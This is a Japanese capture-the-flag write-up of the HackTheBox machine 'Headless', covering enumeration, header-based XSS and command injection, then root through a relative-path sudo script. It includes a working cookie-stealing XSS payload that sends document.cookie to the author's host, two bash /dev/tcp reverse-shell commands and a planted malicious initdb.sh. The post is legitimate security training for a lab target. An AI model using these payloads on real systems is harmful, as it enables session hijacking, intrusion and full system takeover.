1
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Headless WriteUp

Last updated at Posted at 2024-08-18

今回はHackTheBoxのEasyマシン「Headless」のWriteUpです!
頭がないという意味のマシンですが、一体どのような脆弱性があるのでしょうか。

image.png

グラフはいつものEasyマシンといった感じですね。
サクッと攻略目指して頑張ります!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Headless

列挙

それでは、攻略を始めていきましょう。
まずはnmapを実行していきます。

+[~/Desktop/HackTheBox]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -n -v -sS -p- --min-rate=1000 -A 10.10.11.8

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 23 Jul 2024 15:00:33 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

22番と5000番がオープンしていました。
とりあえず5000番にブラウザでアクセスしてみましょう。

image.png

ウェブサイトへようこそというメッセージが表示されました。「For questions」というボタンがありますね。他には特に遷移が見えないので、ボタンを押下してみます。

image.png

メッセージ(質問)を送ることができるフォーム画面が表示されました。とりあえず適当に入力して、「Submit」を押下しましたが、画面表示は特に変わらないため、BurpSuiteでリクエストが送信されているか確認します。

image.png

一応リクエストは送信されているようですが、あまり情報は得られませんでした。
他に目に見える遷移はないので、ディレクトリ探索をしてみることにしました。ffufを実行します。

+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.8:5000/FUZZ                     

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.8:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 436ms]
support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 189ms]
:: Progress: [20476/20476] :: Job [1/1] :: 105 req/sec :: Duration: [0:03:15] :: Errors: 0 ::

新たに「/dashboard」を発見しました。ブラウザで確認してみます。

image.png

どうやら「/dashboard」へアクセスするためには、認証情報が必要であるみたいです。

XSS

なかなか情報が落ちないので、メッセージ送信画面でガチャガチャやっていると、以下のようなメッセージが出力されました。

image.png

私は、<h1>test</h1>という値を入力し、送信しました。どうやら<>がデータ中に入力されていると攻撃として検知されるようです。

ここで、注目するべき点は検知メッセージとともにヘッダーが出力されていることです。このヘッダーはメッセージを送信する際にリクエストとして送信するヘッダーです。つまり、この部分は制御できる出力となります。

試しに、HTB: Headlessというヘッダーを付与してヘッダー情報を出力させてみましょう。

image.png

ヘッダーが追加されていることがわかります。
制御できることがわかったので脆弱性の調査に入りましょう。制御できる出力でよくみられる脆弱性は「SSTI」と「XSS」です。「XSS」はHackTheBoxではなかなか採用されることがないので、「SSTI」からチェックしていきます。
ヘッダーに{{7*7}}を入力し、リクエストを送信しましょう。

image.png

そのまま出力されているので、「SSTI」は発火しそうにありません。では「XSS」を試してみましょう。<script>alert(1)</script>を入力し、リクエストを送信します。

image.png

アラートが表示され「XSS」に脆弱であることがわかりました!
問題はこれをどうやって侵入につなげるのかですが、「/dashboard」と「cookie」の存在から一つの攻撃パスを思いつきました。

先ほど、「/dashboard」へアクセスした際に「認証情報が必要であること」が原因でアクセスを制御されてしまいました。おそらく「認証情報」とは「認証に成功した後に発行されるCookie」だと仮定すると、メッセージ送信の際に送信されている「is_admin」という名前のCookieの値が管理者であることを示すもの(有効なもの)であれば認証に成功するのではないかと考えられます。そのため「XSS」を悪用して管理者のCookieを摂取することでWEBの権限昇格に繋がり、さらなる列挙へと進むことができそうです。

それでは実際にCookieの取得を試みます。ペイロードは以下のものを使用します。

<script> image = new Image(); image.src='http://10.10.14.8:8888/?'+document.cookie; </script>

リクエストを送信する前に、Kali側でHTTPサーバを起動しておきましょう。

+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

準備ができたらリクエストを送信します

+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.14.8 - - [29/Jul/2024 12:50:32] "GET /?is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 200 -
10.10.11.8 - - [29/Jul/2024 12:50:37] "GET /?is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

1つ目はペイロードを含んだリクエストのトークンですが、それとは異なるトークンを確認できました。
こちらのトークンを使用して、「/dashboard」へアクセスしてみましょう。

image.png

ダッシュボードへアクセスできました!

Command Injection

では、ダッシュボードを調べていきましょう。とりあえず「Generate Report」を押下してみます。

image.png

システムは稼働しているというメッセージが表示されました。それ以外に画面の変化はないので、リクエストを深堀ってみます。BurpSuiteで見てみましょう。

POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1

date=2023-09-15

パラメータ名「date」に入力した値が指定されています。

この時点では、どのような脆弱性があるのか分かりませんが、日付を指定しレポートが作成されていることがわかるため、レポートを作成するようなコマンド実行されているのではと予想できます。コマンドが実行されている場合、コマンドインジェクションが発火する可能性があります。

それでは日付の後にセミコロン(;)とidを追加しリクエストを送信してみましょう。

image.png

idコマンドが実行されました!

dvir としてのシェル

コマンドインジェクションに脆弱であることがわかったので、シェルを取得しましょう。
まずは待ち受けを作成します。

+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...

待ち受けが作成できたら、以下のコマンドを日付の後に追加します。

;bash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'

追加できたら、リクエストを送信し、待ち受けを確認しましょう。

+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.8] 53902
bash: cannot set terminal process group (1382): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami
dvir

シェルの取得に成功しました!

dvir@headless:~$ ls -l
total 8
drwxr-xr-x 3 dvir dvir 4096 Feb 16 23:49 app
lrwxrwxrwx 1 dvir dvir    9 Feb  2 16:05 geckodriver.log -> /dev/null
-rw-r----- 1 root dvir   33 Aug  1 05:33 user.txt

ユーザフラグの取得もできました!

権限昇格

それではここから権限昇格を目指していきましょう!
まずは、sudo -lを実行します。

dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

どうやらsyscheckというスクリプトをNOPASSWDで実行できるようです。
スクリプトの内容を確認してみましょう。

dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

コードからカーネルの最終更新時間やディスクスペース、システムの稼働時間などを取得するスクリプトであることがわかりました。

syscheckという名前通りのスクリプトですが、コードの中に脆弱性があります。
それはなぜか相対パスで書かれている./initdb.shです。相対パスのため、実行するカレントディレクトリに任意の内容の./initdb.shを配置することで、任意のコマンドを実行させることが可能です。

root としてのシェル

では、脆弱性を悪用し権限を昇格させましょう。
ホームディレクトリ内に以下の内容のinitdb.shを作成します。

dvir@headless:~$ cat initdb.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.8/2122 0>&1'

作成できたら実行権限を付与します。

dvir@headless:~$ chmod +x initdb.sh

リバースシェルを取得するための待ち受けも忘れずに。

+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122 
listening on [any] 2122 ...

これで準備万端です!実行しましょう!

dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.02, 0.00
Database service is not running. Starting it...

特にエラーは出てなさそうですね。待ち受けを確認してみましょう。

+[~/headless]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122 
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.8] 35168
root@headless:/home/dvir# whoami
root

シェルを取得し、権限昇格に成功しました~!

root@headless:~# ls -l
ls -l
total 4
-rw-r----- 1 root root 33 Aug  1 05:33 root.txt

ルートフラグも取得し、完全攻略達成です!

攻略を終えて

今回のマシンはHackTheBoxでは珍しくXSSを悪用するものでした。XSSでCookieを取得してなりすます攻撃は好きなものだったので楽しかったです。それぞれの脆弱性はわかりやすく初心者の方にも強くおすすめできるマシンだなと思います。
個人的にはXSSを発火させる方法に感銘していました。どういうことかというと、今回普通のメッセージフォームにSSTIやXSSを発火させる文字列を入力すると、サーバが攻撃として検知し未然に防ぐ対策を行っていたと思います。しかし、その攻撃を検知した際に表示するヘッダーを自由に制御できたことで「XSSを検知させてXSSを発火させる」ことができました。こういった「一回検知した後の検知漏れ」は現実社会でも割とみられます。一度検知できたからといって気を緩めず最後までセキュリティ対策が届いているかを確実にチェックすることが重要ですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!

1
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?